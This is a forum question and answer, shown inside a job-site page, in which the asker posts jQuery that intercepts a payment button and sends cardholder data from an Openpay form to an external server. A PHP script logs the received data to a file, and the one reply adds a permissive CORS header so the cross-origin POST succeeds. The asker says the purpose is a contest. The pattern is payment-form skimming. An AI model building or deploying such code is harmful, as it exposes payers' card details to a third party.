Empresas
Empregos
  • Sobre nós
  • Soluções
    • Publicação de vagas
      Publique sua vaga e receba candidatos qualificados em 48h.
    • Avaliações de candidatos
      Mais de 500 testes técnicos e psicológicos, mais anti-fraude.
    • Headhunting
      Busca executiva personalizada do início ao fim.
    • Folha de Pagamento + EOR
      Dispersão de folha e EOR em mais de 15 países da LATAM.
  • Preços
  • Empregos

0

160
Visualizações
Retrieving form info with javascript and redirecting it to another server

I am helping develop a temporary site that will be redirect payments to openpay for proper bank validation but I need to take payer info and redirect it to a different server to then from those users (within two weeks) select one for a contest. This is part of a promotion campaign for a small business. What I want to do is take the payer information when they hit pay and have that information sent to my remote server but so far I haven't been able to capture the data. Here is the js script I put together to capture the data:

<script type="text/javascript">
            $("#fm_pay\\:make_payment_button").click(function() { 
                var name_of_customer = $('data-openpay-card="name_of_customer"').val();
                //console.log(data);
                $.ajax({
                    type: "POST",
                    beforeSend: function (xhr, opts) {
                    if (name_of_customer == "") { xhr.abort(); }
                    }, //close beforesend
                    url: "http://external.server/the.php",
                    dataType: "json",
                    data: {name_of_customer:name_of_customer},
                    });
                });
        </script>

This is what is on the main site taking in payments:

 <div class="row">
                                        <div class="col-md-12">
                                            <div class="form-group form-group-lg">
                                                <label for="">Cardholder name <label for="" class="text-red text-bold">*</label></label>
                                        <input type="text" class="form-control" placeholder="as it appears on the card" data-openpay-card="holder_name">
                                            </div>
                                        </div>

And finally here is what i have on my remote server taking in data:

<?php
$name_of_customer = $_POST['name_of_customer'];

$sep = "==================================================
Name: $name_of_customer
==================================================
";


$file = fopen("contest.txt", "a+");
fwrite($file, $sep.PHP_EOL);
fclose($file);
?>

Thanks! Any help is welcomed!

about 4 years ago · Juan Pablo Isaza
1 Respostas
Responde à pergunta

0

add this in your php file:

header("access-control-allow-origin: *");
about 4 years ago · Juan Pablo Isaza Relatório
Responde à pergunta
Encontrar trabalhos remotos

Descubra a nova forma de encontrar um emprego!

melhores empregos
Principais categorias de trabalho
Empresas
Postar vaga Preços Comercial
Jurídico
Termos e Condições Política de privacidade
© 2026 PeakU Inc. All Rights Reserved.
Andres GPT
Recomende algumas ofertas para mim
Preciso de ajuda